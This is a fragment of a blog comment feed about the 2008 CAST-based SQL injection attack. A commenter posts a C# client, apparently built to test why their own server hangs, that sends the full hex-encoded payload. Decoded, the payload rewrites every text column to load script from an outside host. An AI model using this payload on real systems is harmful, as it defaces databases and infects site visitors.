<p>                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=&#8217;u&#8217; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(&#8217;update [&#8217;+@T+&#8217;] set [&#8217;+@C+&#8217;]=[&#8217;+@C+&#8217;]+&#8221;\&#8221;&gt;<!--'' where '+@C+' not like ''%\"&gt;--></p>
]]></content:encoded>
				</item>
	<item>
		<title>By: Tom39</title>
		<link>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-10003</link>
		<author>Tom39</author>
		<pubDate>Sat, 23 Aug 2008 20:42:28 +0000</pubDate>
		<guid>http://www.rtraction.com/blog/devit/sql-injection-hack-using-cast.html#comment-10003</guid>
					<description>C# app code above got truncated due to the line with the de-encoded CAST(...) string.  Here's the app again, without that line.  Sorry about that.

----

using System;
using System.Net.Sockets;
public class Client
{
    static public void pause()
    {
        Console.WriteLine( "\r\n***** Done *****\r\n" );
        Console.ReadKey();
    }

    static public void Main(string[] Args)
    {
        TcpClient socketForServer;
        try
        {
            socketForServer = new TcpClient("www.mysite.com", 80);
        }
        catch
        {
            Console.WriteLine("Failed to connect to server at {0}:999", "mysite.com");
            pause();
            return;
        }
        NetworkStream networkStream = socketForServer.GetStream();
        System.IO.StreamReader streamReader =
        new System.IO.StreamReader(networkStream);
        System.IO.StreamWriter streamWriter =
        new System.IO.StreamWriter(networkStream);
        try
        {
            string outputString;
            // read the data from the host and display it
            {

                //streamWriter.WriteLine("GET / HTTP/1.1\r\nHost: www.mysite.com\r\n\r\n");
                //SET%20@S=CAST(0x4445434C41524520405420766172636861722832353529
                //2C40432076617263686172283430303029204445434C415245205461626C655F
                //437572736F7220435552534F5220464F522073656C65637420612E6E616D652C
                //622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C75
                //6D6E73206220776865726520612E69643D622E696420616E6420612E78747970
                //653D27752720616E642028622E78747970653D3939206F7220622E787479706
                //53D3335206F7220622E78747970653D323331206F7220622E78747970653D313
                //63729204F50454E205461626C655F437572736F72204645544348204E4558542
                //046524F4D20205461626C655F437572736F7220494E544F2040542C404320574
                //8494C4528404046455443485F5354415455533D302920424547494E206578656
                //32827757064617465205B272B40542B275D20736574205B272B40432B275D3D5
                //B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633
                //D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736
                //3726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696
                //B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
                //03A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743
                //E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F4
                //37572736F7220494E544F2040542C404320454E4420434C4F5345205461626C6
                //55F437572736F72204445414C4C4F43415445205461626C655F437572736F72%
                //20AS%20CHAR(4000));EXEC(@S);
                
                // Hangs:
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524
                //5204054207661726368617228323535292C4043207661726368617228343030
                //3029204445434C415245205461626C655F437572736F7220435552534F52204
                //64F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
                //9736F626A6563747320612C737973636F6C756D6E7320622077686572652061
                //2E69643D622E696420616E6420612E78747970653D27752720616E642028622
                //E78747970653D3939206F7220622E78747970653D3335206F7220622E787479
                //70653D323331206F7220622E78747970653D31363729204F50454E205461626
                //C655F437572736F72204645544348204E4558542046524F4D20205461626C65
                //5F437572736F7220494E544F2040542C4043205748494C45284040464554434
                //85F5354415455533D302920424547494E20657865632827757064617465205B
                //272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B272
                //7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F61
                //62632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2
                //D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C
                //2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E7
                //66572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727
                //294645544348204E4558542046524F4D20205461626C655F437572736F72204
                //94E544F2040542C404320454E4420434C4F5345205461626C655F437572736F
                //72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHA
                //R(4000));EXEC(@S);";
                
                // Does not hang:
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41
                //5245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));";

                // Does not hang, despite being same length as the long query above.
                //String inject_str = "GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                //XXXXXX";

                // Does not hang (only minor mods to long query).
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C4
                //15245204054207661726368617228323535292C40432076617263686172283430303029204
                //445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637
                //420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7379736
                //36F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653
                //D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F722
                //0622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626
                //C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736
                //F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292
                //0424547494E20657865632827757064617465205B272B40542B275D20736574205B272B404
                //32B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263
                //3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372697074
                //3E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2
                //F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782
                //E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542
                //046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4
                //F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375727
                //36F72%20AS%20AHAR(4000));QXEC(QS);";

                // Does not hang, despite being same length as original, with only the
                // CAST(...) contents changed.
                //String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444444444444444444444444444444444444
                //4444444444444444444444444444444%20AS%20CHAR(4000));EXEC(@S);";

                String inject_str = "GET /Index.htm?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C
                //415245204054207661726368617228323535292C40432076617263686172283
                //430303029204445434C415245205461626C655F437572736F7220435552534F
                //5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D
                //207379736F626A6563747320612C737973636F6C756D6E7320622077686572
                //6520612E69643D622E696420616E6420612E78747970653D27752720616E642
                //028622E78747970653D3939206F7220622E78747970653D3335206F7220622E
                //78747970653D323331206F7220622E78747970653D31363729204F50454E205
                //461626C655F437572736F72204645544348204E4558542046524F4D20205461
                //626C655F437572736F7220494E544F2040542C4043205748494C45284040464
                //55443485F5354415455533D302920424547494E206578656328277570646174
                //65205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275
                //D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A
                //2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3
                //C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725
                //223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F616
                //2632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D
                //272727294645544348204E4558542046524F4D20205461626C655F437572736
                //F7220494E544F2040542C404320454E4420434C4F5345205461626C655F4375
                //72736F72204445414C4C4F43415445205461626C655F437572736F72%20AS
                //%20CHAR(4000));EXEC(@S);";
                
                
                String final_str = inject_str + " HTTP/1.1\r\nHost: www.mysite.com\r\n\r\n";

                Console.WriteLine(final_str);
                streamWriter.WriteLine( final_str );
                streamWriter.Flush();

                for (; ; )
                {
                    if (streamReader.Peek() != -1)
                    {
                        outputString = streamReader.ReadLine();
                        if (outputString != null)
                        {
                            Console.WriteLine(outputString);
                        }
                        else
                        {
                            break;
                        }
                    }
                    else
                    {
                        break;
                    }
                }
            }
        }
        catch
        {
            Console.WriteLine("Exception reading from Server");
            pause();
        }
        // tidy up
        networkStream.Close();
        pause();
    }

}</description>
		<content:encoded><![CDATA[<p>C# app code above got truncated due to the line with the de-encoded CAST(&#8230;) string.  Here&#8217;s the app again, without that line.  Sorry about that.</p>
<p>&#8212;-</p>
<p>using System;<br />
using System.Net.Sockets;<br />
public class Client<br />
{<br />
    static public void pause()<br />
    {<br />
        Console.WriteLine( &#8220;\r\n***** Done *****\r\n&#8221; );<br />
        Console.ReadKey();<br />
    }</p>
<p>    static public void Main(string[] Args)<br />
    {<br />
        TcpClient socketForServer;<br />
        try<br />
        {<br />
            socketForServer = new TcpClient(&#8221;www.mysite.com&#8221;, 80);<br />
        }<br />
        catch<br />
        {<br />
            Console.WriteLine(&#8221;Failed to connect to server at {0}:999&#8243;, &#8220;mysite.com&#8221;);<br />
            pause();<br />
            return;<br />
        }<br />
        NetworkStream networkStream = socketForServer.GetStream();<br />
        System.IO.StreamReader streamReader =<br />
        new System.IO.StreamReader(networkStream);<br />
        System.IO.StreamWriter streamWriter =<br />
        new System.IO.StreamWriter(networkStream);<br />
        try<br />
        {<br />
            string outputString;<br />
            // read the data from the host and display it<br />
            {</p>
<p>                //streamWriter.WriteLine(&#8221;GET / HTTP/1.1\r\nHost: <a href="http://www.mysite.com" rel="nofollow">www.mysite.com</a>\r\n\r\n&#8221;);<br />
                //SET%20@S=CAST(0&#215;4445434C41524520405420766172636861722832353529<br />
                //2C40432076617263686172283430303029204445434C415245205461626C655F<br />
                //437572736F7220435552534F5220464F522073656C65637420612E6E616D652C<br />
                //622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C75<br />
                //6D6E73206220776865726520612E69643D622E696420616E6420612E78747970<br />
                //653D27752720616E642028622E78747970653D3939206F7220622E787479706<br />
                //53D3335206F7220622E78747970653D323331206F7220622E78747970653D313<br />
                //63729204F50454E205461626C655F437572736F72204645544348204E4558542<br />
                //046524F4D20205461626C655F437572736F7220494E544F2040542C404320574<br />
                //8494C4528404046455443485F5354415455533D302920424547494E206578656<br />
                //32827757064617465205B272B40542B275D20736574205B272B40432B275D3D5<br />
                //B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633<br />
                //D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736<br />
                //3726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696<br />
                //B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747<br />
                //03A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F7363726970743<br />
                //E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F4<br />
                //37572736F7220494E544F2040542C404320454E4420434C4F5345205461626C6<br />
                //55F437572736F72204445414C4C4F43415445205461626C655F437572736F72%<br />
                //20AS%20CHAR(4000));EXEC(@S);</p>
<p>                // Hangs:<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C41524<br />
                //5204054207661726368617228323535292C4043207661726368617228343030<br />
                //3029204445434C415245205461626C655F437572736F7220435552534F52204<br />
                //64F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737<br />
                //9736F626A6563747320612C737973636F6C756D6E7320622077686572652061<br />
                //2E69643D622E696420616E6420612E78747970653D27752720616E642028622<br />
                //E78747970653D3939206F7220622E78747970653D3335206F7220622E787479<br />
                //70653D323331206F7220622E78747970653D31363729204F50454E205461626<br />
                //C655F437572736F72204645544348204E4558542046524F4D20205461626C65<br />
                //5F437572736F7220494E544F2040542C4043205748494C45284040464554434<br />
                //85F5354415455533D302920424547494E20657865632827757064617465205B<br />
                //272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B272<br />
                //7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F61<br />
                //62632E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2<br />
                //D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C<br />
                //2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E7<br />
                //66572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727<br />
                //294645544348204E4558542046524F4D20205461626C655F437572736F72204<br />
                //94E544F2040542C404320454E4420434C4F5345205461626C655F437572736F<br />
                //72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHA<br />
                //R(4000));EXEC(@S);&#8221;;</p>
<p>                // Does not hang:<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C41<br />
                //5245204054207661726368617228323535292C4043207661726AS%20CHAR(4000));&#8221;;</p>
<p>                // Does not hang, despite being same length as the long query above.<br />
                //String inject_str = &#8220;GET /Index.htm?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<br />
                //XXXXXX&#8221;;</p>
<p>                // Does not hang (only minor mods to long query).<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=XAST(Vx4445434C4<br />
                //15245204054207661726368617228323535292C40432076617263686172283430303029204<br />
                //445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637<br />
                //420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7379736<br />
                //36F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653<br />
                //D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F722<br />
                //0622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626<br />
                //C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736<br />
                //F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30292<br />
                //0424547494E20657865632827757064617465205B272B40542B275D20736574205B272B404<br />
                //32B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420737263<br />
                //3D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372697074<br />
                //3E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2<br />
                //F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782<br />
                //E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542<br />
                //046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4<br />
                //F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375727<br />
                //36F72%20AS%20AHAR(4000));QXEC(QS);&#8221;;</p>
<p>                // Does not hang, despite being same length as original, with only the<br />
                // CAST(&#8230;) contents changed.<br />
                //String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444444444444444444444444444444444444<br />
                //4444444444444444444444444444444%20AS%20CHAR(4000));EXEC(@S);&#8221;;</p>
<p>                String inject_str = &#8220;GET /Index.htm?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C<br />
                //415245204054207661726368617228323535292C40432076617263686172283<br />
                //430303029204445434C415245205461626C655F437572736F7220435552534F<br />
                //5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D<br />
                //207379736F626A6563747320612C737973636F6C756D6E7320622077686572<br />
                //6520612E69643D622E696420616E6420612E78747970653D27752720616E642<br />
                //028622E78747970653D3939206F7220622E78747970653D3335206F7220622E<br />
                //78747970653D323331206F7220622E78747970653D31363729204F50454E205<br />
                //4